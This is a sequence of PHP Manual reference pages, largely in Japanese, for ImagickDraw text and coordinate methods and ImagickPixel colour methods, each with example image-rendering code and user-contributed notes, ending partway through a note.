例1 ImagickDraw::setTextAlignment()

<?php
function setTextAlignment($strokeColor, $fillColor, $backgroundColor) {
    $draw = new \ImagickDraw();
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeWidth(1);
    $draw->setFontSize(36);

    $draw->setTextAlignment(\Imagick::ALIGN_LEFT);
    $draw->annotation(250, 75, "Lorem Ipsum!");
    $draw->setTextAlignment(\Imagick::ALIGN_CENTER);
    $draw->annotation(250, 150, "Lorem Ipsum!");
    $draw->setTextAlignment(\Imagick::ALIGN_RIGHT);
    $draw->annotation(250, 225, "Lorem Ipsum!");
    $draw->line(250, 0, 250, 500);

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");
    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

sebastian dot mayer at maysoft dot de 26-Feb-2009 08:33
<?php

   define("LEFT", 1);
   define("CENTER", 2);
   define("RIGHT", 3);

   $w = 400;
   $h = 200;
   $gradient = new Imagick();
   $gradient->newPseudoImage($w, $h, "gradient:red-black");

   $draw = new ImagickDraw();
   $draw->setFontSize(12);
   $draw->setFillColor(new ImagickPixel("#ffffff"));

   $draw->setTextAlignment(LEFT);
   $draw->annotation(150, 30, "Hello World1!");
   $draw->setTextAlignment(CENTER);
   $draw->annotation(150, 50, "Hello World2!");
   $draw->setTextAlignment(RIGHT);
   $draw->annotation(150, 70, "Hello World3!");

   $draw->setFillColor(new ImagickPixel("#0000aa"));
   $x1 = 150;
   $x2 = 150;
   $y1 = 0;
   $y2 = 200;
   $draw->rectangle($x1, $y1, $x2, $y2);

   $gradient->drawImage($draw);

   $gradient->setImageFormat("png");
   header("Content-Type: image/png");
   echo $gradient;
?>


テキストをアンチエイリアス処理するかどうかを制御する

  • ≪ ImagickDraw::setTextAlignment
  • ImagickDraw::setTextDecoration ≫
  • PHP Manual
  • ImagickDraw
  • テキストをアンチエイリアス処理するかどうかを制御する

ImagickDraw::setTextAntialias

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setTextAntialias — テキストをアンチエイリアス処理するかどうかを制御する

説明

public ImagickDraw::setTextAntialias ( bool $antiAlias ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストをアンチエイリアス処理するかどうかを制御します。 デフォルトではテキストのアンチエイリアス処理を行います。

パラメータ

antiAlias

返り値

値を返しません。

例

例1 ImagickDraw::setTextAntialias()

<?php
function setTextAntialias($fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();
    $draw->setStrokeColor('none');
    $draw->setFillColor($fillColor);
    $draw->setStrokeWidth(1);
    $draw->setFontSize(32);
    $draw->setTextAntialias(false);
    $draw->annotation(5, 30, "Lorem Ipsum!");
    $draw->setTextAntialias(true);
    $draw->annotation(5, 65, "Lorem Ipsum!");

    $imagick = new \Imagick();
    $imagick->newImage(220, 80, $backgroundColor);
    $imagick->setImageFormat("png");
    $imagick->drawImage($draw);

    //Scale the image so that people can see the aliasing.
    $imagick->scaleImage(220 * 6, 80 * 6);
    $imagick->cropImage(640, 480, 0, 0);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


装飾を指定する

  • ≪ ImagickDraw::setTextAntialias
  • ImagickDraw::setTextEncoding ≫
  • PHP Manual
  • ImagickDraw
  • 装飾を指定する

ImagickDraw::setTextDecoration

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setTextDecoration — 装飾を指定する

説明

public ImagickDraw::setTextDecoration ( int $decoration ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記を行う際に適用する装飾を指定します。

パラメータ

decoration

DECORATION_ 定数。

返り値

値を返しません。

例

例1 ImagickDraw::setTextDecoration()

<?php
function setTextDecoration($strokeColor, $fillColor, $backgroundColor, $textDecoration) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeWidth(2);
    $draw->setFontSize(72);
    $draw->setTextDecoration($textDecoration);
    $draw->annotation(50, 75, "Lorem Ipsum!");

    $imagick = new \Imagick();
    $imagick->newImage(500, 200, $backgroundColor);
    $imagick->setImageFormat("png");
    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

mark-paspirgilis at web dot de 12-Jan-2011 09:41
Hi, guys.
I was looking half the day for a documentation about how to set the damn underline...
I found it out myself now.. happy to be able to share my new knowledge with you out there.
$decoration can be those:

1  -  Text will be normal
2  -  Underline
3  -  Upperline
4  -  Stroke-through

regards,
Mark Paspirgilis


テキストのコードセットを指定する

  • ≪ ImagickDraw::setTextDecoration
  • ImagickDraw::setTextInterlineSpacing ≫
  • PHP Manual
  • ImagickDraw
  • テキストのコードセットを指定する

ImagickDraw::setTextEncoding

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setTextEncoding — テキストのコードセットを指定する

説明

public ImagickDraw::setTextEncoding ( string $encoding ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記を行う際に使用するコードセットを指定します。 現時点で指定できるエンコーディングは "UTF-8" のみで、 これはバイトシーケンスを Unicode で表記したものです。 空文字列を指定すると、システムのデフォルトを使用します。 Unicode によるテキストの注記を行うには、 Unicode をサポートしたフォントが必要です。

パラメータ

encoding

エンコーディング名。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ ImagickDraw::setTextEncoding
  • ImagickDraw::setTextInterwordSpacing ≫
  • PHP Manual
  • ImagickDraw
  • Description

ImagickDraw::setTextInterlineSpacing

(PECL imagick 3 >= 3.1.0)

ImagickDraw::setTextInterlineSpacing — Description

説明

public ImagickDraw::setTextInterlineSpacing ( float $spacing ) : bool

Sets the text interline spacing.

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

spacing

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ ImagickDraw::setTextInterlineSpacing
  • ImagickDraw::setTextKerning ≫
  • PHP Manual
  • ImagickDraw
  • Description

ImagickDraw::setTextInterwordSpacing

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

ImagickDraw::setTextInterwordSpacing — Description

説明

public ImagickDraw::setTextInterwordSpacing ( float $spacing ) : bool

Sets the text interword spacing.

パラメータ

spacing

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ ImagickDraw::setTextInterwordSpacing
  • ImagickDraw::setTextUnderColor ≫
  • PHP Manual
  • ImagickDraw
  • Description

ImagickDraw::setTextKerning

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

ImagickDraw::setTextKerning — Description

説明

public ImagickDraw::setTextKerning ( float $kerning ) : bool

Sets the text kerning

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

kerning

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


背景の矩形の色を指定する

  • ≪ ImagickDraw::setTextKerning
  • ImagickDraw::setVectorGraphics ≫
  • PHP Manual
  • ImagickDraw
  • 背景の矩形の色を指定する

ImagickDraw::setTextUnderColor

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setTextUnderColor — 背景の矩形の色を指定する

説明

public ImagickDraw::setTextUnderColor ( ImagickPixel $under_color ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記の背景に置く矩形の色を指定します。

パラメータ

under_color

背景色。

返り値

値を返しません。

例

例1 ImagickDraw::setTextUnderColor()

<?php
function setTextUnderColor($strokeColor, $fillColor, $backgroundColor, $textUnderColor) {
    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeWidth(2);
    $draw->setFontSize(72);
    $draw->annotation(50, 75, "Lorem Ipsum!");
    $draw->setTextUnderColor($textUnderColor);
    $draw->annotation(50, 175, "Lorem Ipsum!");

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");

    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

www dot query at gmail dot com 08-Sep-2011 09:01
When wishing to print some text on a photograph and make that text sufficiently contrasting to the background image, use a 4 byte code for colour and transparency.

It is the same 4 byte code using by the parameter '-undercolor' in ImageMagick's command lime instruction 'convert'.

The first 3 bytes are the RGB colour code and the fourth byte is the transparency byte.

<?php

    $draw = new ImagickDraw();
    $draw->setFillColor('#ffff00');
    $draw->setFont('Eurostile');
    $draw->setFontSize(21);
    $draw->setTextUnderColor('#ff000088');
    $picin->annotateImage($draw,40,$height-10,0,"Hallo");

?>

The example code produces yellow text on a semi-transparent red background.


ベクターグラフィックを設定する

  • ≪ ImagickDraw::setTextUnderColor
  • ImagickDraw::setViewbox ≫
  • PHP Manual
  • ImagickDraw
  • ベクターグラフィックを設定する

ImagickDraw::setVectorGraphics

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setVectorGraphics — ベクターグラフィックを設定する

説明

public ImagickDraw::setVectorGraphics ( string $xml ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

指定した ImagickDraw オブジェクトに関連付けるベクターグラフィックを設定します。 このメソッドを ImagickDraw::getVectorGraphics() と組み合わせて使用すると、 ベクターグラフィックの状態を持続させることができます。

パラメータ

xml

ベクターグラフィックを表す xml。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ImagickDraw::setVectorGraphics()

<?php
function setVectorGraphics() {
    //Setup a draw object with some drawing in it.
    $draw = new \ImagickDraw();
    $draw->setFillColor("red");
    $draw->circle(20, 20, 50, 50);
    $draw->setFillColor("blue");
    $draw->circle(50, 70, 50, 50);
    $draw->rectangle(50, 120, 80, 150);

    //Get the drawing as a string
    $SVG = $draw->getVectorGraphics();

    //$svg is a string, and could be saved anywhere a string can be saved

    //Use the saved drawing to generate a new draw object
    $draw2 = new \ImagickDraw();
    //Apparently the SVG text is missing the root element.
    $draw2->setVectorGraphics("<root>".$SVG."</root>");

    $imagick = new \Imagick();
    $imagick->newImage(200, 200, 'white');
    $imagick->setImageFormat("png");

    $imagick->drawImage($draw2);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


キャンバス全体の大きさを設定する

  • ≪ ImagickDraw::setVectorGraphics
  • ImagickDraw::skewX ≫
  • PHP Manual
  • ImagickDraw
  • キャンバス全体の大きさを設定する

ImagickDraw::setViewbox

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setViewbox — キャンバス全体の大きさを設定する

説明

public ImagickDraw::setViewbox ( int $x1 , int $y1 , int $x2 , int $y2 ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

ベクターデータの描画に使用するキャンバスの大きさを設定します。 通常は、これはキャンバス画像と同じ大きさに設定します。 ベクターデータを SVG や MVG 形式で保存する際に、 これを使用してキャンバス画像の大きさを指定します。 またビューアがベクターデータをレンダリングする際にもこれを使用します。

パラメータ

x1

左の x 座標。

y1

左の y 座標。

x2

右の x 座標。

y2

右の y 座標。

返り値

値を返しません。

例

例1 ImagickDraw::setViewBox()

<?php
function setViewBox($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeWidth(2);
    $draw->setFontSize(72);

    /*

    Sets the overall canvas size to be recorded with the drawing vector data. Usually this will be specified using the same size as the canvas image. When the vector data is saved to SVG or MVG formats, the viewbox is use to specify the size of the canvas image that a viewer will render the vector data on.

     */

    $draw->circle(250, 250, 250, 0);
    $draw->setviewbox(0, 0, 200, 200);
    $draw->circle(125, 250, 250, 250);
    $draw->translate(250, 125);
    $draw->circle(0, 0, 125, 0);

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");

    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


現在の座標系を水平方向に傾ける

  • ≪ ImagickDraw::setViewbox
  • ImagickDraw::skewY ≫
  • PHP Manual
  • ImagickDraw
  • 現在の座標系を水平方向に傾ける

ImagickDraw::skewX

(PECL imagick 2, PECL imagick 3)

ImagickDraw::skewX — 現在の座標系を水平方向に傾ける

説明

public ImagickDraw::skewX ( float $degrees ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の座標系を水平方向に傾けます。

パラメータ

degrees

傾斜角。

返り値

値を返しません。

例

例1 ImagickDraw::skewX()

<?php
function skewX($strokeColor, $fillColor, $backgroundColor, $fillModifiedColor,
               $startX, $startY, $endX, $endY, $skew) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setStrokeWidth(2);
    $draw->setFillColor($fillColor);
    $draw->rectangle($startX, $startY, $endX, $endY);
    $draw->setFillColor($fillModifiedColor);
    $draw->skewX($skew);
    $draw->rectangle($startX, $startY, $endX, $endY);

    $image = new \Imagick();
    $image->newImage(500, 500, $backgroundColor);
    $image->setImageFormat("png");

    $image->drawImage($draw);

    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


現在の座標系を垂直方向に傾ける

  • ≪ ImagickDraw::skewX
  • ImagickDraw::translate ≫
  • PHP Manual
  • ImagickDraw
  • 現在の座標系を垂直方向に傾ける

ImagickDraw::skewY

(PECL imagick 2, PECL imagick 3)

ImagickDraw::skewY — 現在の座標系を垂直方向に傾ける

説明

public ImagickDraw::skewY ( float $degrees ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の座標系を垂直方向に傾けます。

パラメータ

degrees

傾斜角。

返り値

値を返しません。

例

例1 ImagickDraw::skewY()

<?php
function skewY($strokeColor, $fillColor, $backgroundColor, $fillModifiedColor,
               $startX, $startY, $endX, $endY, $skew) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setStrokeWidth(2);
    $draw->setFillColor($fillColor);
    $draw->rectangle($startX, $startY, $endX, $endY);
    $draw->setFillColor($fillModifiedColor);
    $draw->skewY($skew);
    $draw->rectangle($startX, $startY, $endX, $endY);

    $image = new \Imagick();
    $image->newImage(500, 500, $backgroundColor);
    $image->setImageFormat("png");
    $image->drawImage($draw);

    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


現在の座標系に変換を適用する

  • ≪ ImagickDraw::skewY
  • ImagickPixel ≫
  • PHP Manual
  • ImagickDraw
  • 現在の座標系に変換を適用する

ImagickDraw::translate

(PECL imagick 2, PECL imagick 3)

ImagickDraw::translate — 現在の座標系に変換を適用する

説明

public ImagickDraw::translate ( float $x , float $y ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の座標系に変換を適用し、座標系の原点を指定した座標に移動します。

パラメータ

x

水平方向の変換。

y

垂直方向の変換。

返り値

値を返しません。

例

例1 ImagickDraw::translate()

<?php
function translate($strokeColor, $fillColor, $backgroundColor, $fillModifiedColor,
                   $startX, $startY, $endX, $endY, $translateX, $translateY) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->rectangle($startX, $startY, $endX, $endY);

    $draw->setFillColor($fillModifiedColor);
    $draw->translate($translateX, $translateY);
    $draw->rectangle($startX, $startY, $endX, $endY);

    $image = new \Imagick();
    $image->newImage(500, 500, $backgroundColor);
    $image->setImageFormat("png");

    $image->drawImage($draw);

    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


ImagickPixel クラス

(PECL imagick 2, PECL imagick 3)

クラス概要

ImagickPixel {
public clear ( ) : bool
public __construct ( string $color = ? )
public destroy ( ) : bool
public getColor ( int $normalized = 0 ) : array
public getColorAsString ( ) : string
public getColorCount ( ) : int
public getColorQuantum ( ) : array
public getColorValue ( int $color ) : float
public getColorValueQuantum ( int $color ) : int|float
public getHSL ( ) : array
public getIndex ( ) : int
public isPixelSimilar ( ImagickPixel $color , float $fuzz ) : bool
public isPixelSimilarQuantum ( string $color , string $fuzz = ? ) : bool
public isSimilar ( ImagickPixel $color , float $fuzz ) : bool
public setColor ( string $color ) : bool
public setcolorcount ( int $colorCount ) : bool
public setColorValue ( int $color , float $value ) : bool
public setColorValueQuantum ( int $color , int|float $value ) : bool
public setHSL ( float $hue , float $saturation , float $luminosity ) : bool
public setIndex ( int $index ) : bool
}

目次

  • ImagickPixel::clear — このオブジェクトに関連付けられたリソースを消去する
  • ImagickPixel::__construct — ImagickPixel のコンストラクタ
  • ImagickPixel::destroy — このオブジェクトに関連付けられているリソースの割り当てを解除する
  • ImagickPixel::getColor — 色を返す
  • ImagickPixel::getColorAsString — 色を文字列で返す
  • ImagickPixel::getColorCount — この色に関連付けられている色カウントを返す
  • ImagickPixel::getColorQuantum — Description
  • ImagickPixel::getColorValue — 指定した色チャネルの値を正規化したものを取得する
  • ImagickPixel::getColorValueQuantum — Description
  • ImagickPixel::getHSL — ImagickPixel オブジェクトの HSL カラーを正規化したものを返す
  • ImagickPixel::getIndex — Description
  • ImagickPixel::isPixelSimilar — Check the distance between this color and another
  • ImagickPixel::isPixelSimilarQuantum — Description
  • ImagickPixel::isSimilar — この色と別の色の差を調べる
  • ImagickPixel::setColor — 色を設定する
  • ImagickPixel::setColorCount — Description
  • ImagickPixel::setColorValue — 指定したチャネルの正規化した値を設定する
  • ImagickPixel::setColorValueQuantum — Description
  • ImagickPixel::setHSL — 正規化した HSL カラーを設定する
  • ImagickPixel::setIndex — Description

User Contributed Notes

There are no user contributed notes for this page.


このオブジェクトに関連付けられたリソースを消去する

  • ≪ ImagickPixel
  • ImagickPixel::__construct ≫
  • PHP Manual
  • ImagickPixel
  • このオブジェクトに関連付けられたリソースを消去する

ImagickPixel::clear

(PECL imagick 2, PECL imagick 3)

ImagickPixel::clear — このオブジェクトに関連付けられたリソースを消去する

説明

public ImagickPixel::clear ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

ImagickPixel オブジェクトをクリアし、初期状態に戻します。 このオブジェクトに関連付けられている色も初期化します。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


ImagickPixel のコンストラクタ

  • ≪ ImagickPixel::clear
  • ImagickPixel::destroy ≫
  • PHP Manual
  • ImagickPixel
  • ImagickPixel のコンストラクタ

ImagickPixel::__construct

(PECL imagick 2, PECL imagick 3)

ImagickPixel::__construct — ImagickPixel のコンストラクタ

説明

public ImagickPixel::__construct ( string $color = ? )
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

ImagickPixel オブジェクトを作成します。color を指定した場合は、 オブジェクトを作成した後で色を初期化してから返します。

パラメータ

color

このオブジェクトの初期化に使用する色を表すオプションの文字列。

返り値

成功した場合に ImagickPixel オブジェクトを返します。 失敗した場合に ImagickPixelException をスローします。

例

例1 ImagickPixel::construct()

<?php
function construct() {

    $columns = 4;

    $exampleColors = array(
        "rgba(100%, 0%, 0%, 0.5)",
        "hsb(33.3333%, 100%,  75%)", // medium green
        "hsl(120, 255,   191.25)", //medium green
        "graya(50%, 0.5)", //  semi-transparent mid gray
        "LightCoral", "none", //"cmyk(0.9, 0.48, 0.83, 0.50)",
        "#f00", //  #rgb
        "#ff0000", //  #rrggbb
        "#ff0000ff", //  #rrggbbaa
        "#ffff00000000", //  #rrrrggggbbbb
        "#ffff00000000ffff", //  #rrrrggggbbbbaaaa
        "rgb(255, 0, 0)", //  an integer in the range 0—255 for each component
        "rgb(100.0%, 0.0%, 0.0%)", //  a float in the range 0—100% for each component
        "rgb(255, 0, 0)", //  range 0 - 255
        "rgba(255, 0, 0, 1.0)", //  the same, with an explicit alpha value
        "rgb(100%, 0%, 0%)", //  range 0.0% - 100.0%
        "rgba(100%, 0%, 0%, 1.0)", //  the same, with an explicit alpha value
    );

    $draw = new \ImagickDraw();
    $count = 0;
    $black = new \ImagickPixel('rgb(0, 0, 0)');

    foreach ($exampleColors as $exampleColor) {
        $color = new \ImagickPixel($exampleColor);

        $draw->setstrokewidth(1.0);
        $draw->setStrokeColor($black);
        $draw->setFillColor($color);
        $offsetX = ($count % $columns) * 50 + 5;
        $offsetY = intval($count / $columns) * 50 + 5;
        $draw->rectangle(0 + $offsetX, 0 + $offsetY, 40 + $offsetX, 40 + $offsetY);
        $count++;
    }

    $image = new \Imagick();
    $image->newImage(350, 350, "blue");
    $image->setImageFormat("png");
    $image->drawImage($draw);
    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


このオブジェクトに関連付けられているリソースの割り当てを解除する

  • ≪ ImagickPixel::__construct
  • ImagickPixel::getColor ≫
  • PHP Manual
  • ImagickPixel
  • このオブジェクトに関連付けられているリソースの割り当てを解除する

ImagickPixel::destroy

(PECL imagick 2, PECL imagick 3)

ImagickPixel::destroy — このオブジェクトに関連付けられているリソースの割り当てを解除する

説明

public ImagickPixel::destroy ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

ImagickPixel オブジェクトが使用しているリソースの割り当てを解除し、 色を初期化します。destroy 関数をコールした後は、このオブジェクトを使用することはできません。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


色を返す

  • ≪ ImagickPixel::destroy
  • ImagickPixel::getColorAsString ≫
  • PHP Manual
  • ImagickPixel
  • 色を返す

ImagickPixel::getColor

(PECL imagick 2, PECL imagick 3)

ImagickPixel::getColor — 色を返す

説明

public ImagickPixel::getColor ( int $normalized = 0 ) : array

ImagickPixel オブジェクトの色を、配列で返します。透明度が設定されている場合は、 4 つの要素からなる配列となります。

パラメータ

normalized

色を正規化する。 有効な値は 0, 1, 2 です。

normalized で有効な値の一覧
normalized | 説明
0 | RGB の値を 0 から 255 の間の値を取る int として返します (0 と 255 を含みます)。 アルファの値を 0 または 1 の int として返します。
1 | RGBA の値を 0 から 1 の間の値を取る float として返します (0 と 1 を含みます)。
2 | RGBA の値を 0 から 255 の間の値を取る int として返します (0 と 255 を含みます)。

返り値

各チャネルの値を配列で返します。 エラー時には ImagickPixelException をスローします。

例

例1 基本的な Imagick::getColor() の使用例

<?php

// 定義済みの色 'brown' で ImagickPixel を作ります
$color = new ImagickPixel('brown');

// アルファ値を 25% にします
$color->setColorValue(Imagick::COLOR_ALPHA, 64 / 256.0);

$colorInfo = $color->getColor();

echo "Standard values".PHP_EOL;
print_r($colorInfo);

$colorInfo = $color->getColor(1);

echo "Normalized values:".PHP_EOL;
print_r($colorInfo);

?>

上の例の出力は以下となります。

Standard values
Array
(
    [r] => 165
    [g] => 42
    [b] => 42
    [a] => 0
)
Normalized values:
Array
(
    [r] => 0.64705882352941
    [g] => 0.16470588235294
    [b] => 0.16470588235294
    [a] => 0.25000381475547
)

User Contributed Notes

roman 10-May-2013 09:27
In case you use default un-normalized getColor value the alpha value will always be either 0 or 1.

If you want to use real full-range 0-1 alpha channel on your 24bit transparent images use the alpha value from the normalized one, even if you use the rest of unnormalized data.

To copy a 24bit png with real alpha transparency, you would have to do this:
<?php

$im=new Imagick( 'image.png' );
$iterator=$im->getPixelIterator();
foreach ($iterator as $row=>$pixels) {
    foreach ( $pixels as $column => $pixel ){
        $un_color=$pixel->getColor(); //unnormalized color
        $nor_color=$pixel->getColor(true); //normalized color
        $pixel->setColor('rgba('.$un_color['r'].','.$un_color['g'].','.$un_color['b'].','.$nor_color['a'].')');
    }
}
?>

If you use 'a' (alpha) value from the unnormalized color there will only be binary transparency.


色を文字列で返す

  • ≪ ImagickPixel::getColor
  • ImagickPixel::getColorCount ≫
  • PHP Manual
  • ImagickPixel
  • 色を文字列で返す

ImagickPixel::getColorAsString

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

ImagickPixel::getColorAsString — 色を文字列で返す

説明

public ImagickPixel::getColorAsString ( ) : string

ImagickPixel オブジェクトの色を文字列で返します。

パラメータ

この関数にはパラメータはありません。

返り値

ImagickPixel オブジェクトの色を文字列で返します。

例

例1 基本的な Imagick::getColorAsString() の使用例

<?php

// 定義済みの色 'brown' で ImagickPixel を作ります
$color = new ImagickPixel('brown');

$color->setColorValue(Imagick::COLOR_ALPHA, 64 / 256.0);

$colorInfo = $color->getColorAsString();

print_r($colorInfo);
?>

上の例の出力は以下となります。

rgb(165,42,42)

注意

注意: アルファ値は返さない

この関数が返す文字列には、色のアルファ値は含まれません。

User Contributed Notes

There are no user contributed notes for this page.


この色に関連付けられている色カウントを返す

  • ≪ ImagickPixel::getColorAsString
  • ImagickPixel::getColorQuantum ≫
  • PHP Manual
  • ImagickPixel
  • この色に関連付けられている色カウントを返す

ImagickPixel::getColorCount

(PECL imagick 2, PECL imagick 3)

ImagickPixel::getColorCount — この色に関連付けられている色カウントを返す

説明

public ImagickPixel::getColorCount ( ) : int

この色に関連付けられている色カウントを返します。

色カウントとは、画像内でこの ImagickPixel と同じ色を持つピクセル数のことです。

ImagickPixel::getColorCount は、Imagick::getImageHistogram() で作った ImagickPixel オブジェクトに対してのみ機能します。

返り値

成功した場合に色カウントを返します。失敗した場合に ImagickPixelException をスローします。

例

例1 ImagickPixel getColorCount()

<?php
    $imagick = new \Imagick();
    $imagick->newPseudoImage(640, 480, "magick:logo");
    $histogramElements = $imagick->getImageHistogram();
    $lastColor = array_pop($histogramElements);
    echo "Last pixel color count is: ".$lastColor->getColorCount();
?>

出力は、次のようになります。

Last pixel color count is: 256244

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ ImagickPixel::getColorCount
  • ImagickPixel::getColorValue ≫
  • PHP Manual
  • ImagickPixel
  • Description

ImagickPixel::getColorQuantum

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ImagickPixel::getColorQuantum — Description

説明

public ImagickPixel::getColorQuantum ( ) : array

Returns the color of the pixel in an array as Quantum values. If ImageMagick was compiled as HDRI these will be floats, otherwise they will be integers.

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array with keys "r", "g", "b", "a".

User Contributed Notes

There are no user contributed notes for this page.


指定した色チャネルの値を正規化したものを取得する

  • ≪ ImagickPixel::getColorQuantum
  • ImagickPixel::getColorValueQuantum ≫
  • PHP Manual
  • ImagickPixel
  • 指定した色チャネルの値を正規化したものを取得する

ImagickPixel::getColorValue

(PECL imagick 2, PECL imagick 3)

ImagickPixel::getColorValue — 指定した色チャネルの値を正規化したものを取得する

説明

public ImagickPixel::getColorValue ( int $color ) : float

指定した色チャネルの値を取得します。 これは、0 から 1 までの間の浮動小数点数値となります。

パラメータ

color

調べたい色。Imagick の色定数で指定します。 RGB カラー、CMYK カラー、アルファ値、透明度を指定できます (Imagick::COLOR_BLUE や Imagick::COLOR_MAGENTA など)。

返り値

チャネルの値を正規化した浮動小数点数値を返します。 エラー時には ImagickPixelException をスローします。

例

例1 基本的な Imagick::getColorValue() の使用例

<?php

$color = new ImagickPixel('rgba(90%, 20%, 20%, 0.75)');

echo "Alpha value is ".$color->getColorValue(Imagick::COLOR_ALPHA).PHP_EOL;
echo "".PHP_EOL;
echo "Red value is ".$color->getColorValue(Imagick::COLOR_RED).PHP_EOL;
echo "Green value is ".$color->getColorValue(Imagick::COLOR_GREEN).PHP_EOL;
echo "Blue value is ".$color->getColorValue(Imagick::COLOR_BLUE).PHP_EOL;
echo "".PHP_EOL;
echo "Cyan value is ".$color->getColorValue(Imagick::COLOR_CYAN).PHP_EOL;
echo "Magenta value is ".$color->getColorValue(Imagick::COLOR_MAGENTA).PHP_EOL;
echo "Yellow value is ".$color->getColorValue(Imagick::COLOR_YELLOW).PHP_EOL;
echo "Black value is ".$color->getColorValue(Imagick::COLOR_BLACK).PHP_EOL;

?>

上の例の出力は以下となります。

Alpha value is 0.74999618524453

Red value is 0.90000762951095
Green value is 0.2
Blue value is 0.2

Cyan value is 0.90000762951095
Magenta value is 0.2
Yellow value is 0.2
Black value is 0

User Contributed Notes

Anonymous 16-Apr-2020 08:21
COLOR_ALPHA - not fully transparent pixel
COLOR_OPACITY - completely transparent pixel
holdoffhunger at gmail dot com 05-Apr-2012 10:34
When getting a color value back with getColorValue, you are free to use any color scheme: either the Red/Green/Blue (RGB) scheme or the Cyan/Magenta/Yellow/blacK (CMYK) scheme.  For RGB, this function works with the constant values of "COLOR_RED", "COLOR_GREEN", and "COLOR_BLUE," and for CMYK, this function works with the constant values of "COLOR_CYAN", "COLOR_MAGENTA", "COLOR_YELLOW", and "COLOR_BLACK".  As a programmer, the main question you're probably asking yourself is "How do I know if one pixel's color is different from the others?"  That seems to be defined as a unique combination of RGB *or* CMYK values.  Each RGB set of values with have a unique set of CMYK values for only that set of RGB values, so an RGB of 1/0.5/0.5 with have a unique set of CMYK values, shared only by the other pixels of the same exact RGB values.

Why the CMYK?  Because that is the standard for printing, or to quote the Imagick site, "As such for printing we use four colored inks: Cyan, Magenta, Yellow, and blacK; and define images using these inks, to form a CMYK color space."  By being a "color space", you get the choice of working with either RGB or CMYK when defining a pixel as being unique among a set of pixels.  But you are completely free to go with either RGB or CMYK.  For more on it from the Imagick Site:

http://www.imagemagick.org/Usage/color_basics/

Some code that demonstrates both methods: (for a purple-ish red pixel)

<?php

        // Grab Pixel
